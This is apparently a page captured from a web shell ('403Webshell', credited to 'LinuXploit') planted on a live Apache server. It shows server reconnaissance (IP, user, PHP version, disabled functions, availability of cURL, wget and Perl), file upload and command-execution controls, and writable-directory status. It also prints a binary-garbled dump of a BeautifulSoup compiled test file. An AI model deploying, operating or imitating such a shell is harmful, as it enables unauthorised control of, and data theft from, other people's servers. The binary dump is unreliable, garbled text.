403Webshell
Server IP : 217.160.0.135  /  Your IP : 216.73.217.85
Web Server : Apache
System : Linux www 6.18.52-i1-ampere #1203 SMP Mon Sep 14 18:29:59 CEST 2026 aarch64
User : sws1074145052 ( 1074145052)
PHP Version : 8.3.32
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /usr/lib/python3/dist-packages/bs4/tests/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/lib/python3/dist-packages/bs4/tests/__pycache__/test_element.cpython-311.pyc
�

���cI	��b�dZddlmZmZmZddlmZGd�de��ZGd�de��Z	d	S)
z�Tests of classes in element.py.

The really big classes -- Tag, PageElement, and NavigableString --
are tested in separate files.
�)�CharsetMetaAttributeValue�ContentMetaAttributeValue�NamespacedAttribute�)�SoupTestc�&�eZdZd�Zd�Zd�Zd�ZdS)�TestNamedspacedAttributec��tdd��}|dksJ�tdd��}|dksJ�td��}|dksJ�dS)N�xmlns��r��self�as  �8/usr/lib/python3/dist-packages/bs4/tests/test_element.py� test_name_may_be_none_or_missingz9TestNamedspacedAttribute.test_name_may_be_none_or_missingsX�����.�.���G�|�|�|�|����,�,���G�|�|�|�|���(�(���G�|�|�|�|�|�|�c�f�tdd��}|dksJ�tdd��}|dksJ�dS)N�tagrr
rs  r�%test_namespace_may_be_none_or_missingz>TestNamedspacedAttribute.test_namespace_may_be_none_or_missings>����e�,�,���E�z�z�z�z���E�*�*���E�z�z�z�z�z�zrc�6�tdd��}d|ksJ�dS)Nr�bza:br
rs  r�6test_attribute_is_equivalent_to_colon_separated_stringzOTestNamedspacedAttribute.test_attribute_is_equivalent_to_colon_separated_string"s"����S�)�)����z�z�z�z�z�zrc���tddd��}tddd��}||ksJ�tddd��}||ksJ�tddd��}||ksJ�tddd��}||ksJ�dS)Nrr�c�zr
)rrrr�d�es      r�;test_attributes_are_equivalent_if_prefix_and_name_identicalzTTestNamedspacedAttribute.test_attributes_are_equivalent_if_prefix_and_name_identical&s�����S�#�.�.����S�#�.�.���A�v�v�v�v�
 ��S�$�/�/���A�v�v�v�v�
 ��S�#�.�.���A�v�v�v�v���S�#�.�.���A�v�v�v�v�v�vrN)�__name__�
__module__�__qualname__rrrr�rrr	r	sP�������������������rr	c��eZdZdZd�Zd�ZdS)�)TestAttributeValueWithCharsetSubstitutionzpCertain attributes are designed to have the charset of the
    final document substituted into their value.
    c��td��}d|ksJ�d|jksJ�d|�d��ksJ�d|�d��ksJ�dS)Nzeuc-jp�utf8�ascii)r�original_value�encode�r�values  r�!test_content_meta_attribute_valuezKTestAttributeValueWithCharsetSubstitution.test_content_meta_attribute_value<sv��*�(�3�3���5� � � � ��5�/�/�/�/�/�����f�-�-�-�-�-�-��%�,�,�w�/�/�/�/�/�/�/�/rc��td��}d|ksJ�d|jksJ�d|�d��ksJ�d|�d��ksJ�dS)Nztext/html; charset=euc-jpztext/html; charset=utf8r'ztext/html; charset=asciir()rr)r*r+s  rr-zKTestAttributeValueWithCharsetSubstitution.test_content_meta_attribute_valueEsu��)�*E�F�F��*�e�3�3�3�3�*�e�.B�B�B�B�B�(�E�L�L��,@�,@�@�@�@�@�)�U�\�\�'�-B�-B�B�B�B�B�B�BrN)r r!r"�__doc__r-r#rrr%r%7sA��������0�0�0�C�C�C�C�Crr%N)
r/�bs4.elementrrrrr�objectr	r%r#rr�<module>r2s���������������
������%�%�%�%�%�v�%�%�%�PC�C�C�C�C��C�C�C�C�Cr

Youez - 2016 - github.com/yon3zu
LinuXploit